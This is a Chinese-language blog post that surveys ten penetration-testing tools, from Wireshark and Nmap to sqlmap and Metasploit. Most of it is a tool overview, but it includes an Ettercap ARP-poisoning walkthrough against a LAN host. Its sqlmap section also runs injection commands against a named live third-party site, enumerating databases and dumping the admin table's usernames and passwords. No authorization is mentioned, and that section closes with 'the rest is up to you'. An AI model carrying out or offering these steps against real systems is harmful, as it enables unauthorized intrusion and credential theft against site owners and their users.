欢迎加入开源工场电报群讨论交流:https://t.me/OpeningSourceOrg


很多朋友都对网络信息安全很感兴趣,开源工场特意整理了10大常用渗透测试工具,天下兵器一百般,能用一样不一般,用好其中任何一种,你都会很厉害了!

渗透测试(Penetration test)是通过模拟恶意黑客的攻击方法,来评估计算机网络系统安全的一种测试。目的是发掘系统漏洞,并提出改善方法,通常来说是善意的。这个过程包括对系统的任何弱点、技术缺陷或漏洞的主动分析,这个分析是从一个攻击者可能存在的漏洞和位置来进行的,并且从这个出发点有条件地主动利用安全漏洞。渗透测试还具有的两个显著特点是:它是一个渐进的并且逐步深入的过程,同时它是选择不影响业务系统正常运行的攻击方法进行的测试。

而这次精选的10大常用渗透测试工具,大部分都是耳熟能详的开源工具,也有极少数并不太知名,来看看吧。

1.wwwscan

wwwscan是uhhuhy写的一个简单好用的网站目录扫描程序。简单来说就是根据已有字典(cgi.list)与目标网站进行比对,从而得到目标网站目录。网上资源很多,这里只介绍单个网站扫描版。

 

-p web端口设置(默认80端口)

-m 多线程运行

-t 超时时间

-r 设置扫描起始目录

-ssl 是否使用ssl进行联机

 

简单举个具体的例子。在cmd窗口中切换到wwwscan文件目录下,在命令提示符处wwwscan www.baidu.com -p 8080 -m 10 -t16

 

wwwscan
wwwscan

在扫描完成后,扫描结果将自动在wwwscan的目录下生成一个url文件 。

还有一种方法就是在gui界面操作

wwwscan-gui
wwwscan-gui

 

如果想更换字典,只要将wwwscan目录下的cgi.list替换掉就好。

 

2.wireshark

Wireshark(前称Ethereal)是一款流行且实用的的开源抓包软件。使用 WinPCAP 作为接口,直接与网卡进行数据报文交换

wireshark的使用界面

Wiresharp 使用截图
Wiresharp 使用截图

Wireshark的一些常见用途:网络管理员使用Wireshark来检测网络问题,网络安全工程师使用Wireshark来检查资讯安全相关问题,开发者使用Wireshark来为新的通讯协定除错,普通使用者使用Wireshark来学习网络协定的相关知识。当然,有的人也会“居心叵测”的用它来寻找一些敏感信息……

Wireshark简单抓包流程:首先选择需要监听的接口,然后设置捕获过滤器,在数据流量比较大的时候,直接抓包可能会得到大量的冗余信息,甚至会导致软件卡死,而捕获过滤器的目的就是只抓取自己需要的封包,例如只捕获某主机的http流量等。然后就可以进行抓包了,抓包完毕。在显示过滤器中设置过滤规则,就可以快速地找到你想要的封包了。

 

3.TCPDUMP

tcpdump 是一个运行在命令行下的抓包工具。它允许用户拦截和显示发送或收到过网络连接到该计算机的TCP/IP和其他数据包。tcpdump 适用于大多数的类Unix系统操作系统(如linux,BSD等)。类Unix系统的 tcpdump 需要使用libpcap这个捕捉数据的库就像 windows下的WinPcap。

tcpdump是希望在linux上抓包而苦于没有wireshark的同学的福音。

TCPDUMP 使用截图
TCPDUMP 使用截图

 

Tcpdump的大概形式如下:

例 : tcpdump –i eth0 ’port 1111‘ -X -c 3

-X告诉tcpdump命令,需要把协议头和包内容都原原本本的显示出来(tcpdump会以16进制和ASCII的形式显示),这在进行协议分析时是绝对的利器。

tcpdump采用命令行方式,它的命令格式为

tcpdump [ -adeflnNOpqStvx ] [ -c 数量 ] [ -F 文件名 ]
[ -i 网络接口 ] [ -r 文件名] [ -s snaplen ]
[ -T 类型 ][ -w 文件名 ] [表达式 ]

具体常用参数&&用法可以查看tcpdump官网

 

4.Charles

Charles是一款抓包神器,因为他是基于java开发的,所以跨平台,Mac、Linux、Window下都是可以使用的,确保安装之前已经安装了JDK。由于该工具使用较为简单且方便,具体的方法可参考Charles官网地址:https://www.charlesproxy.com

优点:

移动端的抓包神器

  • 支持SSL 代理。可以截取分析SSL的请求
  • 支持流量控制。可以模拟慢速网络,以及等待时间(latency)较长的请求
  • 支持AJAX 调试。可以自动将JSON 或XML 数据格式化,方便查看
  • 支持AMF 调试。可以将Flash Remoting 或Flex Remoting 信息格式化,方便查看
  • 支持重发网络请求,方便后端调试
  • 支持修改网络请求参数
  • 支持网络请求的截获和动态修改
  • 检查HTML、CSS 和RSS 内容是否符合W3C 标准

缺点:

  • 相比wireshark等权威抓包软件,只支持抓取TCP、UDP、HTTPS,HTTP等常见协议,可供分析的种类较少
  • Charles 通过将自己设置成系统的网络访问代理服务器,使得所有的网络访问请求都通过它来完成,从而实现了网络封包的截取和分析。这会导致与系统的其他代理服务器软件想冲突,使用上造成不便

5.Nmap

NMap全称Network Mapper,是一个Linux下的开源网络映射工具,深受网络安全从事者的喜爱,可以说是最有用的网络映射工具之一。NMap的主要应用包括但不仅限于以下几点:主机发现、端口扫描、版本检测、系统检测、交互性脚本等。

NMap可直接在apt中安装:

$ sudo apt-get install nmap

也可在官方网站中下载。

 

运行时nmap接收一些参数,格式为

$ nmap [扫描类型] [选项] {目标主机}

具体地,类型和选项都有什么,后面会介绍一二,其余在官方手册上也可以找到。值得一提的是,这里的目标主机接受域名和各种格式的IP地址,如192.168.0.0/16; 192.168.0-255等。

 

Nmap的具体功能

扫描主机及端口:

        NMap的基础功能是判断主机是否运行(up运行的、down未运行的)及端口的状态。NMap在扫描时可以指定一定的模式,即扫描类型,常用常见的模式主要有以下四种。

1.Connect模式。这是最简单的一种模式,NMap直接向主机发送连接请求,依据返回判断端口状态。这种模式会建立完整的连接,故会被防火墙记录。

2.SYN包模式。在这种模式下,NMap使用了更加隐蔽的方式进行嗅探:通过解析主机返回的SYN/ACK包获取信息,判断出主机的状态。因为连接并未被建立,所以大多数的防火墙以及IDS不会记录,也因此使用此模式进行嗅探大概率不会在目标主机上留下痕迹。

3.SYN/ACK包模式。在此模式下,NMap直接向目标主机发送一个SYN/ACK包,但因为目标主机处并无SYN包,所以如果此端口开放,这个包会被接收并丢弃;如果此端口关闭,这个包会被拒收,并返回一个RST包,NMap通过判断有无返回来判断端口状态。

4.FIN包模式。在此模式下,NMap将向端口直接发送一个FIN包,其余原理同SYN/ACK包模式。使用的参数为 -sF

当然还有很多其它模式可供选择,如Window模式、Maimon模式等,可根据实际需要选择。

判断软件版本及操作系统

NMap还可以对服务器各端口的软件及版本进行判断,原理是通过发送特定形式的包诱导服务器暴露其特征,因此使用这一功能需要superuser权限。

 NMap脚本引擎

当然NMap最重要的功能是它支持NSE(NMap Scripting Engine),即上文提到的交互性脚本,通过NSE,任何人可以用Lua语言编写NMap的扩展功能。NMap的维护者及许多其它开发者已编写了大量的NSE,在使用正常方法安装NMap时,很多NSE已经被包含。

 

6.Zmap

对你的虚拟服务器来说这个软件非常危险.

 

ZMap是一个简单快速开源的网络扫描软件,由C语言开发(也因此效率很高,据说可以在1小时内扫描全部的IPv4网域,可以说是甩了NMap几条街)。其主要应用领域为互联网研究,但也有黑客和脚本小子使用这个软件快速地寻找未能及时防御系统漏洞的主机。

 

安装

操作系统  
Ubuntu 和 Debian sudo apt-get install zmap
Fedora, CentOS 和 RHEL sudo yum install zmap
Gentoo sudo emerge zmap
MacOS brew install zmap
Arch Linux sudu pacman -S zmap

或者也可以在Zmap的Github页面中克隆代码进行编译。

 

运行

zmap作为一款简单的软件,语法也非常简单

zmap [Options]

这就是全部了。

 

功能

zmap的功能很单一,扫描。下面将列举一些常用选项,用以对扫描的方式进行调整。

  • -p选项,规定目标的TCP端口(默认为80)
  • -o选项,规定输出文件,使用-`代表标准输出(默认为标准输出)
  • -b选项,规定黑名单文件,用于避开特定的IP地址(默认为默认黑名单)
  • -w选项,规定白名单文件,用于扫描特定的IP地址(默认为空)
  • -r选项,用于规定最大速率,单位为包/秒
  • -B选项,用于规定最大速率,会覆盖-r选项,单位为比特/秒(支持G/M/K后缀,如:-B 10M)
  • -n选项,用于规定最大探测数量
  • -N选项,用于规定最大结果数量

 

升级改造

虽然功能单一,但由于zmap的开源特性,其探测模块以及输出模块均可被修改。默认的输出模块仅将IP地址列举输出,但实际上我们可以通过修改输出模块对探测到的数据进行预处理,但具体的修改方式较为复杂,在此略过。同样地,探测模块也可以被修改成所需的样子,这也是实现很多统计性研究的基础。

 

实例

zmap -B 10M -p 80 -n 10000 -o results.csv

这条语句实现的是对10000个随机ip地址的80端口进行扫描并将结果输出至results.csv。

[zmap-github] https://github.com/zmap/zmap

 

7.Ettercap

Ettercap是基于Linux系统,作用于中间人攻击时的综合工具。它具有嗅探活连接,动态内容过滤等功能,还有许多其他有趣的技巧。它支持许多协议的主动和被动解析,并包含许多用于网络和主机分析的功能。常用于APR和DNS欺骗中。Ettercap有两个版本,一个是直接在终端运行,一个是GUI界面。在这里简单介绍一下前者的安装。

 

安装

在终端下输入sudo apt-get install ettercap-common

如下所示:

justin@openingsource: sudo apt-get install ettercap-common

 

Ettercap的一些使用是需要gtk+编程环境的(不完全需要),所以确保你的Ubuntu系统已经配置好了gtk+的编程环境。

如果没有配置gtk+编程环境,在终端输入sudo apt-get install libgtk-3-dev。

 

用法:ettercap [OPTIONS] [TARGET1] [TARGET2]

具体可以键入: ettercap –help 来查看

 

我们键入:sudo ettercap -C通过 curse GUI界面启动ettercap如下:

justin@openingsource: sudo ettercap -C

ettercap 截图
ettercap 截图

 

选择sniff:然后选择自己要监听的网卡

ettercap-sniff 截图
ettercap-sniff 截图

 

 

ettercap-hosts 截图
ettercap-hosts 截图

可以看到局域网中的主机:

ettercap-hostslist 截图
ettercap-hostslist 截图

 

按T ,再按A,选定目标主机,将目标主机添加到Target1,将路由器添加到Target2:

然后点击Mitm 选择APR poisoning 确定后

选择start ,start sniffing

ettercap-sniffing 截图
ettercap-sniffing 截图

 

然后就开始监听对应主机了

可以配合driftnet 监控用户访问所有图片,也可配合urlsnarf 监控用户访问所有网页,具体实践不一一展示。

 

8.Burp Suite:

Burpsuite是用于攻击web 应用程序的集成平台。它包含了许多工具,并为这些工具设计了许多接口,以促进加快攻击应用程序的过程。

Burpstite 有各种各样的版本https://portswigger.net/burp/communitydownload

Burp_Suite 截图
Burp_Suite 截图

 

我们下载windows64位的版本,安装运行。

Burp_Suite 使用界面截图
Burp_Suite 使用界面截图

这一排都是工具箱:

 

Proxy——是一个拦截HTTP/S的代理服务器,作为一个在浏览器和目标应用程序之间的中间人,允许你拦截,查看,修改在两个方向上的原始数据流。

Spider——是一个应用智能感应的网络爬虫,它能完整的枚举应用程序的内容和功能。 Scanner[仅限专业版]——是一个高级的工具,执行后,它能自动地发现web 应用程序的安全漏洞。

Intruder——是一个定制的高度可配置的工具,对web应用程序进行自动化攻击,如:枚举标识符,收集有用的数据,以及使用fuzzing 技术探测常规漏洞。

Repeater——是一个靠手动操作来补发单独的HTTP 请求,并分析应用程序响应的工具。 Sequencer——是一个用来分析那些不可预知的应用程序会话令牌和重要数据项的随机性的工具。

Decoder——是一个进行手动执行或对应用程序数据者智能解码编码的工具。

Comparer——是一个实用的工具,通常是通过一些相关的请求和响应得到两项数据的一个可视化的“差异”。

(功能介绍来源于百度百科)

具体功能不一一实践,burpsuite入门难,参数多,但运用得当,可以在日常工作中如虎添翼。

 

9.SQLmap

sqlmap是一款非常强大的开源sql自动化注入工具,可以用来检测和利用sql注入漏洞。它由python语言开发而成,因此运行需要安装python环境。

测试环境:Ubuntu16.04

安装:

http://sqlmap.org/ 官网下载tar.gz文件到本地
解压 sudo tar zxvf 文件名
进入解压目录:./sqlmap.py

检测注入阶段

基本格式

sqlmap -u "http://henecia.jp/goodsnews/detail.php?nid=63"  (http://henecia.jp/goodsnews/detail.php?nid=63为注入点)

默认使用level1检测全部数据库类型

注入成功后

获取数据库基本信息

sqlmap -u "http://henecia.jp/goodsnews/detail.php?nid=63"  --dbms mysql --level 3 --dbs

查询有哪些数据库

sqlmap -u "http://henecia.jp/goodsnews/detail.php?nid=63"  --dbms mysql --level 3 -D test --tables

查询test数据库中有哪些表

sqlmap -u "http://henecia.jp/goodsnews/detail.php?nid=63"  --dbms mysql --level 3 -D test -T admin --columns

查询test数据库中admin表有哪些字段

sqlmap -u "http://henecia.jp/goodsnews/detail.php?nid=63"  --dbms mysql --level 3 -D test -T admin -C "username,password" --dump

dump出字段username与password中的数据

从数据库中搜索字段

sqlmap -r "http://henecia.jp/goodsnews/detail.php?nid=63" --dbms mysql -D dedecms --search -C admin,password
在dedecms数据库中搜索字段admin或者password。

 

实际操作

注入点为http://henecia.jp/goodsnews/detail.php?nid=63

 

1.使用./sqlmap.py -u "http://henecia.jp/goodsnews/detail.php?nid=63"得到数据库版本及其他应用软件版本

 

2.使用./sqlmap.py -u "http://henecia.jp/goodsnews/detail.php?nid=63"  --users -v 0查看当前用户

得到当前用户为henecia

SQLMap 使用截图
SQLMap 使用截图

 

3.使用./sqlmap.py -u

"http://henecia.jp/goodsnews/detail.php?nid=63"  --dbs -v 0查看所有数据库

得到两个数据库

SQLMap 使用截图
SQLMap 使用截图

 

4.使用./sqlmap.py -u "http://henecia.jp/goodsnews/detail.php?nid=63"  --tables -D "henecia"获取henecia数据库内所有表

 

5.使用./sqlmap.py -u "http://henecia.jp/goodsnews/detail.php?nid=63"  --columns -D "henecia" -T "TM_ADMIN_MEMBER"获取TM_ADMIN_MEMBER表(有可能为管理员表)内所有字段名

 

6.使用./sqlmap.py -u "http://henecia.jp/goodsnews/detail.php?nid=63"  --dump -D "henecia" -T "TM_ADMIN_MEMBER" -C "login_uid,login_pwd"获取管理员的用户和密码

 

接下来的事情 就看大家自由发挥啦~

10.metasploit

介绍:

metasploit如其在官网首页上写着的"The world's most used penetration testing framework"一样,是世界上使用最广泛的开源渗透测试框架软件,在linux和Windows上都有对应的版本.这个框架最早由H.D.Moore在2003年发布,.在2004的BlackHat黑客大会上一鸣惊人,不断有志同道合的人加入到这个项目,为其贡献渗透代码以及工具等.发展至今,已经进入了metasploit v4.0时代,集成了数百个针对主流操作系统不同网络服务与应用软件安全漏洞的渗透攻击模块,哪怕是个初学者也可能利用metasploit进行渗透攻击.除此之外,metasploit还可以进行情报搜集,威胁建模,漏洞分析,后渗透攻击与报告生成,其功能包含了渗透测试的整个流程."只有你想不到,没有它做不到",虽然这么说略有夸张,但metasploit的强大毋庸置疑。

很多朋友都对网络信息安全很感兴趣,开源工场特意整理的这10大常用渗透测试工具,希望可以帮助你快速了解信息安全领域,祝使用愉快